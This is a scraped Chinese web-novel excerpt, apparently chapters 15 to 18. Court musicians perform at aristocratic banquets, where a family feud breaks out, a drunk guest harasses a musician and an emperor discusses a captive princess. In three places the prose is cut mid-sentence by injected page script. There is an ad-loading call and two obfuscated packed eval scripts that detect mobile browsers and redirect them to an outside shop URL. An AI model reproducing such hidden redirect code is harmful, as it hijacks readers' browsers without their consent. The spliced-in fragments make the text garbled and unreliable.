因为有了先前的小故事,大家登场的时候尤其关注那位皇婆母。这老太太是个好面子,讲排场的人,想必在余杭是寻常人家,一朝翻身,扬眉吐气,那份迫不及待要向众人展示的心,简直溢于言表。 然而这么爱显摆,却忘了饮水思源,长公主坐在她的下首,尊卑全都乱了。她高谈阔论时,每每引来鄙夷的目光,她自动转化,理解成了别人对她的艳羡。 “我这儿媳,还是孝敬我的。我说刚到上都,家里乱糟糟的,就不办寿宴了吧,可她偏不答应,自作主张给大家下了帖子,劳动亲友们大节下赶来,实在叫我不好意思得很啊。” 权家赴宴的都没说话,极力捧场的是驸马葛家的族亲。 原本新帝即位,和他们八竿子打不着,但就是仗着长公主这层关系,硬生生全挤进了上都。 葛家人要巴结皇婆母,自然顺着她的心意说,“您老就是好福气,三郎孝顺,长公主殿下又爱戴。如今恰逢大寿,为您庆生是儿女的孝道,快些领情就是了,推辞什么,是怕短了钱场,还是怕短了人场?” 皇婆母果然很受用,“也是,平常持家辛苦,难得享乐一回,不犯王法。” 这时小调起,宫人扬扇唱起来:“尊家生辰好风烟,柳暖花春二月天,去岁亲前捧寿杯,今日万里献诰授。” 唱词唱得皇婆母心花怒放,也不等长公主出声,极尽豪迈地发了话,“有赏!” 权家的正经皇亲们看不惯她得意,暗里鄙薄地调开了视线,弄得长公主很有些尴尬。 葛驸马倒还好,比他母亲懂得审时度势,只是不好多言,一径劝他母亲:“阿娘,您多吃点……多喝两杯吧。” 可惜中晌的曲目结束后,梨园的人都退回了乐室,后面宴会上又发生了些什么,就不得而知了。 长公主府的寿宴,菜色很丰盛,大家在乐室用过了饭,下半晌可以休息休息,预备晚间的曲目。 只是梨园的乐工,在贵人眼里果真是可以调笑的玩物。一个不知什么来历的男子钻了进来,吵吵嚷嚷的,要点几个宫人,给他跳《霓裳羽衣曲》。 好在有太乐丞在,身上有品阶的官员,说话也有底气,致了歉道:“对不住,梨园这次是承长公主殿下的令,来府上奏乐助兴的,恕不另接差事,还请贵客见谅。” 那人还不依,“请来不就是奏给宾客赏看的吗,我不是宾客?为什么不接待?” 太乐丞笑了笑,“梨园有规矩,十人之上方为宾,十人之下仅为客,只有客没有宾,梨园子弟不得诏命,可以婉拒。”边说边朝外比了比手,“贵客请回吧,晚间有大乐,到时候管叫贵客欣赏个够。请、请……” 胡搅蛮缠的人被劝走了,乐室里总算安静下来。但供乐工活动的地方不多,硬生生坐上半天,其实也很难熬。 终于到了晚宴举行的时候,众人照着贺表上的顺序轮番登场。一场大型的雅乐,耗时很长,等前面的曲目都奏完,已经将近亥正了。 这时酒酣耳热,便有人开始借着酒劲撒酒疯。还是下半晌来过的那个男子,一手举着酒杯,跌跌撞撞上前来,抓住苏月的手腕道:“这位乐师,陪我喝一杯。” 苏月没见过这样的阵仗,被拽住了又挣不脱,慌乱道:“贵客,卑下不会喝酒……” 可那人不依,“怎么?给脸不要脸?不喝就是看不起我,喝!” 通常这种情况是没人会来阻止的,对方只要求喝一杯,已经是最低限度的滋扰了。 苏月骑虎难下,不知如何是好,这时递到面前的酒杯被人接了过去,是刘善质,巧笑倩兮对那人道:“贵客,她确实不会饮酒,这杯我代她喝了,请。” 苏月有些意外,愕然看向她。她给了她一个安抚的眼神,让她不必惊慌。 刘善质是那种明艳的美人,鲜少有男人不喜欢。她上来解围,对方的面子也成全了,便笑着说:“你代她喝也可以,不过一杯不成,得连饮三杯。” 刘善质说好,三杯对历练惯了的乐工不算什么,说喝就喝了。 在场的那些男客起哄,大声叫好。权家的长辈看不过眼,对长公主道:“今日是葛老夫人的寿宴,老人家做寿图个庄重,为难那些乐工,别折损了你长公主的脸面。” 结果这话被皇婆母听见了,那个借酒盖脸的正是她的侄孙,当即就不高兴了,“今日大喜,何必计较这点子鸡毛蒜皮。区区的乐工罢了,又不是什么金贵人,几杯酒喝不坏的。”边说边打量起来,目光在台上的女郎们身上巡视,“都是些色艺双馨的女子,连我看了都喜欢。莫说是喝酒,要依着我的意思,留下侍奉正钦也够得上。” 这话刚说完,就听“砰”地一声,彭王妃把手里的杯子重重摔在了酒桌上。 “你是老糊涂了,被阎王爷抠了脑子,今晚过后就要死了吗?”彭王妃骂道,“满嘴不三不四,我忍了你半日,你愈发得意起来了。你有今天,是借着谁的势,你还分辩得清吗?你们葛家从上到下一串窝囊废,为官做宰不行,调戏起女郎来堪称行家。你身为长辈不去喝止,反倒助长邪风,白活了七十!” 这一骂,骂得所有人都呆住了。另一桌的彭王忙赶来,直问怎么了,要劝阻,被彭王妃扬手隔开了,“别拦着我,我今日就要说,把肚子里憋了十年的腌臜气,痛痛快快发泄出来。这老东西作威作福这么多年,我女儿受了她多少气,数也数不清。原以为大梁立国了,她受封了长公主,总能直起腰杆子来了,不想这恶婆婆照旧骑在她头上,公然要选乐工来伺候她儿子,还有没有王法?” 葛家人见状,吓得一个都不敢出声,驸马忙来劝解:“岳母大人,我母亲多喝了两杯……” “你住嘴!用不着你来装好人,你们母子是一丘之貉,合起伙来给我女儿气受,别以为我不知道。”彭王妃边说,手指边指向皇婆母的面门,“你说,你何时回余 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 杭去?这长公主府是陛下赏赐给汉阳长公主的,你算个什么东西,在这里当家做主起来。” 皇婆母虽然凶悍,但碍于亲家已经封王,还是有几分怵的。 不过理不直,气也得壮,“我随儿子儿媳居住,何错之有?亲家莫不是高升了,要教女儿忤逆长辈吧!” 彭王妃哼笑了声,“锦衣玉食地供奉着,哪里忤逆了你?要不是我家深受皇恩,你还在余杭养蚕呢,哪有今日!上月接了请帖,我原本是不想来的,但念在一家子亲戚的份上,还是赏了你这个脸。今天整整一天,我看着你耀武扬威里外作妖,强忍着没同你计较,不想你越来越放肆,长公主府的主你要作,圆璧城里的人也任你挑,再过不久,恐怕陛下也不在你眼里了。如此我就进宫回明太后,请太后做主,看看如何处置你们葛家吧。” 由始至终,汉阳长公主一句话都没说,脸上木噔噔地。直到彭王妃说到这里,她才终于清醒过来,转头对葛家老夫人道:“婆母,今天的寿宴,全当儿媳尽孝了。明天一早你就收拾东西,我命人送你回余杭老家。你要是放心不下正钦,可以带着他和他的小妾儿女们一起回去。从今日起,我不再替你葛家的族亲讨官,我的封邑也不再用来养活你们了。” 长公主这番话说得决绝,旁观了半天的乐工们,简直忍不住要大呼痛快了。 有时候碍于地位显赫,反倒瞻前顾后,不敢外扬家丑。今天长公主当着所有宾客的面表了态,虽说十有八九是早就和母亲作好打算的,但看那位皇婆母先前对她的态度,别说撵他们回老家,就算爆打一顿,都是应该的。 葛老夫人惊愕不已,“这么一大家子人……你要赶我们走?正钦可是你丈夫。” 彭王妃一哂,“只要我女儿愿意,也可以不是。” 驸马顿时慌起来,“闻鸢,我们做了十年的夫妻……” “这十年间你也和别人做夫妻,半点没闲着。”长公主道,“你我之间,情分不多,全靠我娘家的周济维持着。以前我总觉得被休弃了,会一辈子抬不起头来,现在我不这么想了。没有你们,我会活得更好,不必再看婆母的脸色,也不用再操心别人生的孩子,一个人自由自在,乐得逍遥。” 事情已经到了不可挽回的地步,葛老夫人知道,葛家这驸马的殊荣是留不住了。反正脸皮撕了半张,也不在乎把剩下半张也撕了,她重新扬了扬脖子,皮笑肉不笑道:“殿下可别忘了,你不能生养,妾室生的孩子都管你叫嫡母,不是如自己生的一样吗?教导好了,他们将来都会孝敬你的,哪里亏待了你?” 长公主瞥了她一眼,“于我来说,妾室生的和外面路边上花子生的,没什么两样。只要愿意唤我一声母亲,就有荣华富贵可享,还怕没人孝敬我?”长公主道,“趁着我还年轻,且过几天舒心的日子,等老了,有封地、有食邑、有奴仆……婆母不如多操心你们一家往后的生计,至于我,就不劳你费心了。” 反正这场内战,看得大家身心舒畅,只不过乐工们毕竟是外人,久留不得。 回过神来的家令忙进来,把她们都领了出去,嘴里念叨着:“孙丞先带乐师们回梨园,一应费用和赏金,我明日派人送到。”顿了顿又特意叮嘱,“先前的见闻,不要透露出去,这是公主府的家务事,还是免于议论为好。” 其实这种吩咐不过是走个过场,在场那么多宾客,根本瞒不住。不过太乐丞还是连连应承,乘着夜色,带领众人返回了梨园。 后来听说葛驸马不愿意和离,长公主也没有相逼。彭王把葛家人全都清扫出了上都,一个未在朝中任职的驸马,何去何从根本没人关心。照着春潮的话说,他不愿意和离也由他,只要脖子够硬,顶得动绿帽子就行。 苏月想,吃够了婚姻的苦,未必会急于再找男人吧!不过长公主和前尘旧事作了了断,往后的日子,一定会越过越好的。 16.第 16 章 不过那天刘善质的拔刀相助,苏月记在了心上。等得了机会,她当面向她道了谢,“我从未遇见过这样的事,一时慌张,不知道如何是好。多谢你,紧要关头替我挡了酒,让我免于在那样的场合出丑。” 刘善质倒有些不好意思,含糊应着,“不必客气。这种事我见得多了,不过三杯酒而已,不算什么。” 苏月以前对她的印象并不好,尤其她一门心思执着于白少卿,即便人人都说她是宜春院第一,她也没敢向她讨教过琴艺。后来又出了换琵琶那件事,彼此间的矛盾更深了,要是没有长公主府挡酒那件事,苏月可能一辈子都不会和她打交道。 然而就是紧要关头的挺身而出,让她重新对她有了认识。或许她也是个有侠义心肠的人,撇开感情方面的一根筋,也是个可堪结交的人吧! “以前的事,就此两清了。”苏月道,“往后我愿与娘子和洽共处,多个朋友,总比多个仇敌要好。” 刘善质自打上回受了她的恩情,对她也有了改观。只是心里怯懦,怕她瞧不上自己,才不敢轻易向她示好。这回她主动接近自己,实在是意外之喜。其实女孩子之间建立友谊并不难,就算有些纠葛,解开了,说和好也就和好了。 “那件事,原本后果很严重,哪里是三杯酒能抵消的。我还是欠着辜娘子的情,留待以后慢慢报答吧。”她说着,抬起了眼,几次欲语还休,最后还是没有说出口。 苏月知道她要说什么,自己先道破了,“我和白少卿,当真没有什么,请娘子相信我。” 刘善质叹了口气,惨然道:“我也明白,是我捕风捉影了,仿佛找个人怨恨,就能给自己交代似的。” “娘子当面问过少卿吗?”苏月想了想道,“前几日我在园里遇见过他,据说是去陪都公干,没在上都,你找不见他,或许就是这个缘故。” “可他如今回来了,也还是没有见我。”刘善质苦笑了下道,“是我缠人,缠得太紧了吗,他怕我了……我只是心里没底,患得患失。他是朝廷官员,我不过是个伎乐,我配不上他。” 所以爱让人卑微啊,如果不爱,自己就是三只眼的马王爷。 苏月见她痛苦迷惘,也找不到说辞来安慰她,只道:“你们是在梨园相识的,他早前没有嫌弃你,现在也不能因此挑剔你。或许就是公务忙,或者家中有事,顾不上了。” 刘善质调转视线望向她,“可他进来巡园,见了你,却没有时间见我,实在让人伤心。” 言罢略顿了下,又对苏月道,“我的话,兴许会让你反感,但我还是要说,他对你,颇为上心。” 苏月愣了下,“少卿的确提拔过我,但除此之外,并没有其他,想是你误会太深了。” “梨园那么多前头人,你初来乍到,他为什么只提拔你?”刘善质道,“他不是那种急不可待的男子,既然栽培你,就说明对你另眼相看了。” 明明知道人家有异心,她也没有骂上两句,这让苏月很不解,“那你还念着他?” 刘善质陷入沉默,良久才道:“与其说念着他,不如说我对离开这里,始终有执念。我们前朝的旧人,都是签了身契的,如果没人助你,这辈子只能熬到死。我没有别的办法,只能寄希望于他,他说过,要带我出去的。况且我心里也确实喜欢他,早前海誓山盟,言犹在耳,他应当不会骗我的。” 所以那么多的痴情女子不到黄河心不死,苏月也没法过多劝解,只好含糊安慰两句,就同她别过了。 时间缓慢地流淌,出了正月,天一里一里暖和起来,上都内外终于染上了一层春色。冬日排演在大乐堂,点着火盆才不至于冻僵手,到了春天,太乐丞下令挪到夹城中间的那片空地上,乐场很简易,四周拿行帐围起来,内敬坊、太乐署和吹鼓署的人,都可以来这里共演。因为地方够大,连小部也露面了,一群孩子吱吱喳喳地套近乎,围着她们叫阿姐,日子忽然变得热闹起来。 颜在很喜欢孩子,望着他们感慨不已:“看见他们,就想起家里的侄儿了。” 苏月调侃她:“你才多大年纪,家里的侄儿和你一边高了?” 颜在直咂嘴,“我就是这么一说嘛。” 反正想家,任何一点风吹草动,都能引发她的乡愁。 然后引发乡愁的机簧靠近了,初四排演那天见过的绝色少年走到她们面前,扬着一张明媚的脸问她们:“春暖花开了,阿姐可要摘花?” 之前听春潮说起过,小部的围墙外有两棵很大的桂花树,每年前头人都会托那些小乐工帮着摘桂花。 苏月问:“这个时节,木樨开了吗?” 少年说:“桂花到了秋日,香气才最浓郁。春日有春日的香花,譬如茉莉,还有白兰花。”他说着,目光调转向颜在,专注地望着她,“阿姐,你同我以前认识的人长得有几分像,看见你,就觉得格外亲切。” 颜在是个单纯的人,听了很高兴,“那日后得了机会,一定要见见她。” 那少年没有接话,笑了笑道:“等花开得盛了,我给阿姐们摘花。”那笑容,简直艳色动流光,复又对颜在道,“我是孤儿,没有姓氏,阿姐以后就叫我青崖吧。” 这么出众的少年,竟然没有家人,忽然让人理解,为什么他对身边的过客都念念不忘了。 颜在很同情他,自然多了几分亲近之心,欣然说好,“过两日宜春院里做春饼,我们自己下厨,等我做成了,送几个给你尝尝呀。” 一来二去的,渐渐熟络了,回到直房,颜在还沉溺于青崖的美色无法自拔,“世上竟有长得这么好看的小郎君,简直比姑娘还标致啊。” 春潮闻言偏头问:“谁?青崖?” 苏月说是啊,“还说要帮我们摘花呢,长得好,脾气也温和,别不是个小神仙吧!” 春潮却打破了她的幻想,“在这梨园,长得好不是什么好事。小部的那些孩子,入园的时候大多只有十一二岁,当年青崖就是其中最出挑的一个。有一回登台被增王看上,带回了私宅,过了十来日才送回来,回来的时候小命只剩半条,险些死了。那时候城里乱得很,没有大夫,靠内丞胡乱抓的几剂药,勉强挺了过来。所以说么,活到新朝的乐工,个个经历过苦难,随便拉出一个来,都有一长串的故事能讲给你们听。” 苏月和颜在面面相觑,很为背后的隐情震惊。 春潮摆弄着笸箩里做了一半的荷包,重新穿上了针线,一面道:“可能因为有过可怕的经历,青崖其实不大好相处,小部的人不怎么愿意和他打交道,他时常孤零零一个人。” 颜在说怎么会呢,“我看他为人爽朗得很,没觉得不好相处啊。想必是因为那件旧事,周遭的人对他有成见吧,虽说都苦,但他苦过了头,也让人忌惮。” 春潮曼应着:“这话有些道理。没法合群,所以他宁愿和内敬坊的人打交道。内敬坊里全是女郎,女郎的心肠软,都会谦让着他。”说完又去调侃颜在,“你可仔细,别因怜生爱,被那小郎君拐去了。” 颜在红了脸,“我大他好几岁,还能被个孩子骗了吗?” 春潮偏头道:“人家可不是孩子了,他已经年满十五,过阵子应当会调往太乐署的。不是有句话说了,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890842|145621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大三,抱金砖,你要想亲近他,往后有的是时候。” 然后就笑闹起来,针线当然也做不成了,追着扭成一团,这直房太小,简直腾挪不开。 不过颜在心地好,对青崖也确实关照,因为挪到了行帐乐场上的缘故,见面的次数很多,她时常会给青崖带些好吃的,也算是孤寂的人世间,些微给那少年带去了一丝温暖。 梨园岁月呢,譬如市井间做生意,也有淡季与旺季之分。过年前后是最忙碌的,节后那两个月相对清闲一些,连城中王侯将相府上的宴饮也稀松了。 不过到了上巳节,就又不得闲了,宫里不设宫筵,城里的公主、国夫人府上,有接连不断的春宴。 内敬坊里接了令,开始给众人排班,苏月这回给拨到了鲁国夫人府上,奉命席间奏细乐,给宾客助兴。 所谓的鲁国夫人,是太后的侄女,丈夫在庐江之战中战死了,因此分封的时候授了个国夫人的衔儿。她和皇帝是表姐弟,同在姑苏城里长大,幼年的时候走得很近,彼此关系一直很不错。据说这位国夫人,在皇帝面前的分量和几位长公主一样,都是说得上话的人。不过鲁国夫人的性情,相较长公主们更豪放,在闺阁里的时候就离经叛道,如今受封了国夫人,也不改英雄本色。 果然一到她府上就能感受出来,她家没有专门辟乐室,而是把乐工安排在了后廊上。后廊上风光好,天气也好,鲁国夫人闲庭信步而来,摇着手里的团扇说:“困在屋子里,多憋闷得慌。你们将来要做万世流芳的大乐师,不能束缚了天性,缺了春花秋月的滋养。就在这里吧,走走看看,晒晒太阳。过会儿上场可要好好奏乐,我有贵客,知道么?” 大家忙说是,俯身朝她行了礼。 鲁国夫人抬抬手,视线却停在了苏月脸上,“辜娘子?” 经过一段时间的锤炼,苏月已经可以很坦然了,伏身道是,“卑下辜苏月,为夫人效力。” 鲁国夫人点了点头,没有说话。 这时家丞来回禀,说贵客到了,她忙“噢”了声,匆匆往前院迎接去了。 主家一走,大家就很松散了,可以喝喝茶,放眼四下观望。 春日的国夫人府上处处花香,全是照着女郎的喜好布置的,有堆成兔子状的假山,也有搭成巨大帐篷的紫藤架。 一同来的云罗说真好,挨在苏月耳边小声道:“一个人过,既不用孝顺公婆,又不用侍奉丈夫,把日子过得像花儿一样,多让人羡慕啊。” 苏月拍着膝头下定了决心,“从现在起好生攒钱,等能离开梨园了,找个山明水秀的地方建屋子,也建成这模样。” 正喁喁低语,看见对面廊庑上,几名婢女簇拥着一位华服的女郎走过。那女郎长得很漂亮,杏眼桃腮,身姿曼妙,只是脸色不好,一副心不甘情不愿的样子,步子迈得极小,几乎是蹉着脚底往前走。婢女性急催促了一声,她先是讶然发怔,然后就抬手抹泪,那份委屈呼之欲出,八成是被强买到府里来的。 苏月很纳闷,鲁国夫人的丈夫不是过世了吗,又没有男人,强买女郎做什么? “想必是为今日的贵客预备的。”云罗道,“为了笼络身居要职的官员,好些公主私宅里,都会安排年轻貌美的女郎随席侍奉。” 满腹的狐疑等待印证,不多会儿开席了,乐工被请上场,苏月抱着琵琶落座后,忍不住好奇,微抬了抬眼。 不想这一瞥,发现了件了不得的大事,席面上首坐着的人,看上去十分眼熟。 云罗低低“咦”了声,“这不是正旦夜里出游,遇见的那位郎君吗?” 17.第 17 章 可不是吗,难怪鲁国夫人再三说宴请的是贵人,果然这位客人尊贵到家了。 坐在上首的人,这时自然也看见了她,视线从她脸上划过,微微停留了片刻,便又和同座的人说笑去了。 皇帝驾临,原本是件大事,但这次出宫似乎仅仅是赴一场私宴,内外连戍守的人都很少。君臣同席,除了鲁国夫人,还有一位年轻的男子,看样子是个武将,身形健硕,皮肤也不似养尊处优的白净,泛着健康的,蜜色的光泽。 “听说难驯。”武将的苦恼全在脸上,“养了三个月,还动不动寻死觅活,烦人得很。” 皇帝垂着眼,慢吞吞抿了口酒,说出来的话戳人心肺,“既然养不熟,还留着干什么?” “杀了?”武将惊诧,“那可是我从白绫上放下来的,专程给您预备的呀。” 皇帝说:“不要,你要是喜欢,自己留着就是了,不必拿我作幌子。” 至于后面说了什么,就再也听不真切了。领乐的五弦响起,悠扬的乐声开始萦绕厅堂,把他们的对话全都掩盖了。 不过人员的往来,还是能窥见一二的。先前哭哭啼啼的女郎,这时候换了一身打扮,被女使簇拥着送了进来。 不过见了人,不行礼也不搭话,倨傲地别过脸,以示不屑。 鲁国夫人见状站起身,嗓音隐约穿透了乐声,“宝成公主,这三个月我对你不薄吧?我不求你回报我,也请你别害了我。今日这场合你耍起脾气来,难道是想要我的命吗?” 然后就见那女郎正了正身子,勉为其难地向上行了个礼。 不过鲁国夫人称她为公主,又看她满身反骨的样子,大致能猜出来,必定是前朝的公主无疑了。 每每改朝换代,女子都是最苦难的,尤其帝王家的女儿,但凡有些姿色的都成了战利品。 这位公主想必也是这样,从先前的只言片语里能听出来,强留住性命,就是为了敬献给皇帝。只不过因为身份特殊,不能放在宫里,于是就让鲁国夫人接到府里养着。等养得忘了仇恨,养得惜命了,再成就一段佳话,这是攻城略地的将领战后,最热衷的一桩买卖。 新帝和前朝公主……苏月脑子里一瞬构建出了个完整的故事,那必是爱恨交织,波澜壮阔啊! 只可惜公主桀骜,皇帝也没什么兴致,这个开局不太好。如果一见面,皇帝的目光就能紧紧跟随,再来个欲罢不能,那凄美的一场邂逅,就有了雏形了。 然而不能再琢磨了,细乐正奏着,要是出了纰漏,又得下幽室,那地方去多了不好,鱼符真的会被收缴。 于是不得不集中精神,专注在手里的乐器上。等一曲奏完,中场略作休息,苏月再次有意无意地一瞥席面上,这次巧得很,视线直撅撅与皇帝对上了。 也许是对未知事物过于渴求的眼神,引发了皇帝的注意,她看见他缓缓抬起手,手指朝她轻钩了下。苏月太阳穴蓦地一跳,忙低下头,但愿他就此作罢,不要召见她。 无奈皇帝的示下,轻易糊弄不过去,鲁国夫人早就心领神会了,转头吩咐一旁的女使过去传话。 不一会儿人到了面前,那女使轻声道:“贵人传见,请乐师随我来吧。” 苏月没办法,只得起身到了席前,鲁国夫人显然还有些吃不准,轻声问皇帝:“陛下知道这位娘子的来历吗?” 皇帝脸色冷淡,不就是那个曾经让他颜面扫地,被手下人嘲笑了好一阵子的罪魁祸首吗。 见他不答,鲁国夫人就明白了,忙比了比手,“辜娘子请坐吧。” 苏月谢了座,谨慎又本分地挨在一旁。席上这位年轻的将军,好奇的打量了她两眼,“梨园果然卧虎藏龙啊,这位女郎以前没见过,是新近才入园的吧?” 鲁国夫人怕他唐突,忙代苏月答了话,“你刚回来,梨园从各州郡征集了好些乐工,你不知道。这位娘子是姑苏人氏……” 她的话还没说完,那将军就接了口,“哦,龙潜之地来的。怎么称呼?” 苏月微俯了俯身,“卑下姓辜。” “辜娘子……”他慢慢颔首,忽然好像想起什么来,双眼顿时睁大了,“辜娘子?” 对面的皇帝有些不耐烦,蹙眉道:“原破岩,你的话太多了。” 陛下都已经表示不满了,原破岩知道自己该识趣地把注意力从这位女郎身上移开了。但再想给皇帝和前朝公主拉线,又不太合适,只好自顾自喝酒,干涩地没话找话,问鲁国夫人:“阿姐,这酒好喝,是自家酿的吗?” 鲁国夫人此时也觉得骑虎难下,谁能想到梨园派来的乐师里有她。有她倒没什么,不料陛下又点了她的卯,这下该怎么办呢?三足鼎立,各有立场,实在让人左右为难……要不还是继续喝酒吧。 “我请了封地的酿酒师,入府精酿的。你要是爱喝,回头让人装两坛带回去吧。”鲁国夫人边说边招呼苏月,“辜娘子,你也尝尝。” 苏月道是,低头抿了一口。心下还是好奇事态的发展,眼梢的余光能瞥见那位前朝公主,她依旧拧着脖子,一副誓死不从的样子。 这时皇帝忽然发了话,“幽帝昏庸,民不聊生,朕取而代之是顺应天命,四海之望,实归于朕,公主最好接受现状,别再生无谓的念头了。原将军救你,是不忍见你红颜枯骨,若你实在不领情,要殉国是你的气节,你尽可按自己的心意行事。” 这话一出,那位宝成公主眼里反倒露出了犹疑的神色,迟迟看了皇帝一眼。 皇帝探过杯子,和原破岩碰了一下,语气里带着无奈,“早知道今日你约朕,是为了这件事,朕绝不会赴宴。天下美人多得是,何必在枕边放刀,朕没有这份迎难而上的决心,你的好意算是白费了。” 那厢细乐还在缓缓奏着,原破岩讪讪摸了摸额头,“是臣糊涂了。” 一旁的苏月听着,虽然新帝和前朝公主的故事就此中断很可惜,但不得不说皇帝很清醒,没有因成功而狂妄自大。 他们的对话,最终也引发了宝成公主的不满,她站起身道:“你们把我当成什么了?低贱的歌姬粉头,还是任人宰割的俘虏?为了折辱我,甚至刻意命乐妓同席,真是杀人诛心,刀刀见血。” 这下鲁国夫人慌了,不安地觑了觑皇帝。 苏月发现自己坐在这里确实不合适,忙躬着身子打算起身,被皇帝一个眼神制止了。 皇帝的好耐性,并非人人有资格享受。他放下手中酒盏,凉声道:“送公主回去。她要死,只许成全,不许拦着。” 一声令下,边上侍立的人领命上前,却被宝成公主扬手格开了。 也许因为前三个月,鲁国夫人捧着哄着的缘故,这位前朝公主的脾气发得很尽兴,与故国共存亡的决心也一直很坚定。然而有朝一日,她的死活忽然变得不重要了,她反而有些无所适从,开始犹豫该不该葬送这青春年华了。 故国不再,她到现在才真切地感受到。其实前朝时期,她不过是个不受宠的公主,对丢失的家国也没有那么深的感情,只是理所当然地恨那个篡夺了江山的贼而已。现在这贼人出现了,手起刀落,冷酷无情,似乎这才合乎一位帝王的标准。她也开始动摇了,难道前朝覆灭是天意?这个人的取而代之,也是命里注定的吗? 退意像潮水,一旦兴起就决堤。宝成公主终于服软了,垂首道:“恳请陛下,再容我一段时间。高家的江山败落了,我也成了飘零的落叶,一时不知何去何从,请陛下见谅。” 这是她第一次敞开心扉说话,鲁国夫人不由有些惊喜,忙偏头看了原破岩一眼。 原破岩瞅瞅皇帝,这回没敢多嘴。 至于皇帝呢,对她的话没有任何表示,也懒于应付,抬手一摆,就把人打发了。 等人走之后,他才刻意发问:“她说再容她一段时间,是什么意思?” 鲁国夫人道:“容她时间回心转意呀,回心转意了,就愿意从此侍奉陛下了。” 皇帝听后一哂,“愿意侍奉朕?朕为什么非要她侍奉不可?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13909065|145621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原破岩很有他的见解,正了正身子道:“此事关系重大。陛下夺了高家的江山,虽然是承天受命,但总有些前朝遗老百般不服,背后嘀咕正统。这位宝成公主就如一把钥匙,进可打开陛下一统寰宇的前路,退可锁住遗老们的口舌。试想陛下连前朝的公主都收入帐下了,实在是实至名归,还有谁敢不服?” 皇帝若有所思,“后宫至今空空,填进个把无关紧要的人,能够堵住悠悠众口,倒是个一本万利的买卖。” 原破岩说是啊,“陛下先前说,不愿在枕边放刀,其实是多虑了。一个手无缚鸡之力的女子,就算给她兵器,她也不敢下手。再说宫中处处都有眼睛盯着她,她哪有造次的机会。” 皇帝似乎被说动了,扬眉问原破岩:“充盈后宫是其次,驯服烈马才令将军快意,你是这个意思吗?” 苏月忙望向原破岩,等着他的回答,结果原破岩这回犹豫了,眨巴着眼睛瞧了瞧这位好奇的女郎,忽然调转话风问她:“辜娘子,你怎么不吃菜?” 然后三道目光齐刷刷投向她,苏月顿时讪讪,“卑下奉召,不是来吃菜的吧……”说完回过神来,忙起身执壶斟酒,“卑下侍奉贵人们,或是贵人们想听什么曲子,卑下可以为贵人们独奏。卑下会琵琶,还会笛子,贵人们爱听《扬州慢》么?卑下给贵人们吹一曲吧。” 她正想找乐器,皇帝却说不必了,“让你来,是为旁听。你看这位宝成公主桀骜得很,朕以为她三贞九烈,会执拗到底,不想中途要变节。你们都是年轻的女郎,她的心思,想必你能体谅,依你之见,她的话可信吗?” 这个难题让她来解答,分明是想难为她啊。 苏月老实地说:“虽然都是女郎,但心思未必都相通。公主是公主,卑下是乐工,乐工只知道拨弦,不懂公主的家国大义,所以陛下的问题,卑下回答不了。” 皇帝蹙眉瞥了瞥她,“你没听懂朕话里的重点,朕说的是变节。” 变节?他有意提点,别不是暗藏隐喻吧!苏月只得小心翼翼回答:“卑下觉得这不是变节,是审时度势。上吊上了一半被放下来,不论谁,都不敢再来第二回吧。既然不想死,那就得认命,前朝已经不在了,无节可守,作为前朝的公主,为自己的将来好好打算,本也无可厚非。” 皇帝眼里浮起了嘲弄的神色,“照你的意思,可以放心将人收入掖庭吗?” 苏月忙不迭摆手,“卑下可没这么说。” 万一这宝成公主哪天想不开了,真给他来上一刀,那自己岂不是招至无妄之灾,要去填那个血窟窿吗? 总之她是个骑墙的行家,左摇右摆,哪头都没打算沾边。皇帝到底还是有自己的主张,转头对原破岩道:“这个人,朕不会留,你若是对她有意,朕劝你也死了这条心。” 原破岩讶然问:“陛下难道真打算杀了她?” 皇帝垂眼转动手里的琥珀杯,曼声道:“朕不会杀她,留着她,将来自有用处。” 至于什么用处,当然不是闲杂人等能旁听的了。 皇帝又看了苏月一眼,“你还在这里做什么?真打算留下喝两杯?” 苏月如蒙大赦,忙俯身说是,却行退回了队伍里。 后来弦月缓缓地奏,座上宾客饮酒畅谈,气氛很融洽。宝成公主的出现,像断了引线的炮竹,没能炸出一点儿火花来,转头就被抛诸脑后了。 这场宴饮持续了近一个时辰,等到最后一支曲目奏完,乐工们鱼贯退出厅堂,照旧退到后廊上,预备收拾乐器,返回梨园。 这时鲁国夫人赶来,笑着说:“乐师们技艺精湛,这场家宴能办得圆满,多亏了诸位助阵。”边说边吩咐家丞,“给各位预备好赏银,不许有遗漏。” 苏月随众人俯身致谢,直起身时,手腕被鲁国夫人一把拽住了。 鲁国夫人笑得意味深长,“我与娘子一见如故,先前席上就想结交娘子,苦于没有机会。娘子让她们先收拾着,你随我来,我有几句要紧的话,要同娘子细说分辩。” 18.第 18 章 苏月自然不好拒绝,便道了声是,随鲁国夫人去了前面的小厅里。 小厅内外没有第三个人,鲁国夫人这才放开她,轻声道:“辜娘子,陛下这会儿在东边的厢房里换衣裳,娘子可要过去,侍奉陛下更衣?” 苏月吓了一跳,“陛下更衣,自有近身侍奉的内侍。卑下是乐工,不是宫女,让卑下去侍奉,于礼不合,卑下不能去。” 鲁国夫人简直要觉得她死脑筋了,“难道娘子打算一辈子埋没在梨园里?那地方专事供人取乐,你就不想往上爬一爬,不再做任人消遣的乐工?” 苏月自然是希望离开梨园的,但就此跑去给皇帝更衣,自己实在做不出这样的事来。 